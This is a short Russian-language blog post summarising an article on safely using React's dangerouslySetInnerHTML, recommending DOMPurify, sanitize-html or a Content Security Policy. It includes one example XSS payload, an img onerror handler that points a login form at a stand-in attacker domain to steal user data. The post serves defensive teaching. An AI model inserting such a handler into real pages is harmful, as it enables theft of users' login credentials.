ПостБезопасное использование dangerouslySetInnerHTML

Безопасное использование dangerouslySetInnerHTML В своем блоге Алекс Макартур рассказал о безопасном использовании dangerouslySetInnerHTML. По умолчанию, dangerouslySetInnerHTML не даст запустить <script> внутри переданного HTML, т.к. основан на innerHTML, который запрещает это делать. Однако есть другая возможность выполнить JavaScript внутри dangerouslySetInnerHTML – через inline-обработчики события. Пример кода, который выполнится и может украсть личную информацию пользователя: const App = () => { return ( <div dangerouslySetInnerHTML={{ __html: ` <img src="x" onerror="document.getElementById('loginForm').action = 'https://bad-place-that-will-steal-your-info.com'"> `}}></div> ); } Если вы собираетесь сделать dangerouslySetInnerHTML полностью безопасным, то есть два варианта: Content Security Policy или HTML санитайзер. Пытаться сделать свой HTML санитайзер бесполезно, есть много разных способов выполнения JavaScript, о которых можно не знать, например через псевдопротокол javascript://. Лучше используйте популярные библиотеки DOMPurify или sanitize-html. Если хотите быть уверены в безопасности dangerouslySetInnerHTML, то используйте Content Security Policy. Пример кода, который полностью запретит все inline-обработчики и javascript:// протокол: Content-Security-Policy: "script-src 'self'"; https://macarthur.me/posts/safer-dangerouslysetinnerhtml/